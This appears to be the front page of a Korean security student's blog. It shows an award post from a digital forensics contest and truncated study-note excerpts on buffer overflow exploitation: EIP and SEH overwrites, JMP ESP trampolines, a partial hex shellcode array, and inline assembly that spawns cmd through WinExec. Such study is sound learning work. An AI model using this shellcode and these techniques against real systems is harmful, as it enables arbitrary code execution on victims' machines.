'제 4회 디지털 범인을 찾아라' 시상식을 대검찰청에서 개최하는 '2016 과학수사 국제학술대회'에서 진행한다고 하셔서 학과 동기와 함께 달려갔습니다. 늦게 도착해서 인이어(통역)를 받지 못하는 사태가 일어나, 2시간 동안 동기와 멍을 때렸네요.. 대검찰청 오찬장에서 오찬을 먹은 뒤에 주니어부문 동상을 수상하게 되었습니다. 학과 동기(http://inspecting.tistory.com/)의 도움으로 받을 수 있었던 것 같고 운이 정말 좋았던 것 같습니다. 내년에는 시니어부문에 도전을 해봐야 할 것 같습니다. 대상을 받으신 분의 수상작 시연을 들었을 때, 클라스가 다르다는 것을 느꼈던 순간이었습니다.
http://dynamide.tistory.com/3486
Direct EIP Overwrite- 버퍼오버플로우에 취약한 함수를 사용하고 있을 때 발생되는 취약점으로 RET 변조를 통해 임의의 주소를 실행시킴* 버퍼 보안 검사(GS), DEP, ASLR 기능을 제외하고 컴파일시에 성공 Trampoline Technique- ASLR 기능으로 실행 시마다 코드 주소 및 스택 주소 등이 모두 변경되었을 때 직접 쉘코드의 주소를 써넣는 Direct EIP Overwrite 기법과 다르게 JMP ESP를 이용하여 동적으로 버퍼 주소로 이동하도록 하는 기법* JMP ESP 주소를 찾는 방법- 디버거를 통해 메모리(Ctrl+M)로 들어간 후 바이너리 검색(Ctrl+B)을 이용해 'JMP ESP(FF E4)'를 사용하는 주소를 찾음 SEH Overwrite* 스택 쿠키 : ..
#include char shellcode[] ="\xEB\x30\x42\xAD\x60\x03\xD8\x8B\xF3\x33\xC0\x33\xFF\xAC\x03" "\xF8\x84\xC0\x75\xF9\x89\x7D\x10\x61\x39\x7D\x10\x75\xE5\x0F" "\xB7\x54\x51\xFE\x8B\x7D\x18\x8B\x77\x1C\x8B\xFB\x03\xF7\x03" "\x3C\x96\x8B\xC7\xC3\x33\xC0\x89\x45\x0C\xC6\x45\x0C\x63\xC6" "\x45\x0D\x6D\xC6\x45\x0E\x64\x64\x8B\x40\x30\x8B\x40\x0C\x8B" "\x40\x14\x8B\x18\x8B\x1B\x8B\x5B\x10\x8B\x7B\x3C\x03\xF..
책을 보며 Universal 쉘코드를 만드는 과정에서 kernel32.dll의 주소값을 구해보는 실습을 공부 중 정리 각 버전에 맞는 WinDbg 다운로드http://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx WinDbg 명령어 명령어 설명 사용 예시 db byte단위로 메모리를 표시 >db[메모리주소]>db 0x7ff00000 dd double word 단위로 메모리를 표시 >db[메모리주소]>db 0x7ff00000 dt type을 표시(구조체 등)type에 해당하는 메모리값 확인 >dt [구조체]>dt _PEB >dt [구조체] [메모리주소]>dt _PEB 0x7ff00000 * 실습대상(calc.exe)1. 심볼 서버 연동 설정(Ctrl +..
#include int main(int argc, char* argv[]) { /* char cmd[4] = {'c','m','d','\x0'}; __asm { _emit 0xCC } WinExec(cmd, SW_SHOW); ExitProcess(1); */ /* __asm{ // cmd // 아래 널 바이트 부분을 대체하는 코드 xor ebx, ebx mov [ebp-4], ebx movbyte ptr [ebp-4], 63h movbyte ptr [ebp-3], 6Dh mov byte ptr [ebp-2], 64h //mov byte ptr [ebp-1], 0 // 널바이트 제거 // call WinExec('cmd', SH_SHOW ) push 5 lea eax, [ebp-4] push eax mov..
#include #include LRESULT CALLBACK WndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); unsigned int GetListBoxCount(HWND hListbox); void KillProcess(char *a_sName); HINSTANCE g_hInst; int CALLBACK WinMain(HINSTANCE hinstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // 윈도우를 등록 WNDCLASSA WndClass = { 0 }; WndClass.lpszClassName = "suspect"; // CreateWindowA의 첫 번째 인자에서 정해..
#include #include LRESULT CALLBACK WndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); int CALLBACK WinMain(HINSTANCE hinstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // 윈도우를 등록 WNDCLASSA WndClass = { 0 }; WndClass.lpszClassName = "suspect"; // CreateWindowA의 첫 번째 인자에서 정해준 이름과 같아야함. WndClass.hInstance = hinstance; WndClass.lpfnWndProc = WndProc; // 응용 프로그램 메시지 큐에서 꺼내..
- Total
- Today
- Yesterday
- cuckoo-sandbox
- Yara
- Flybits
- us-cert
- CVE-2018-9375
- 스피어피싱
- Bisonal
- Servey
- 악성코드
- keylogger
- MS-Office
- vuln
- 해킹메일
- CVE-2018-0798
- Cisco Talos
- 멋쟁이사자처럼 4기
- VirusBulletin
- Kimsuky
- Decoding
- 출처 : Do it 안드로이드 프로그래밍
- malware
- 한글악성코드
- idapython
- 비트코인
- .wll
- 위협정보공유
- koodous
- infostealer
- Static Analysis Engine
- AMSI
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |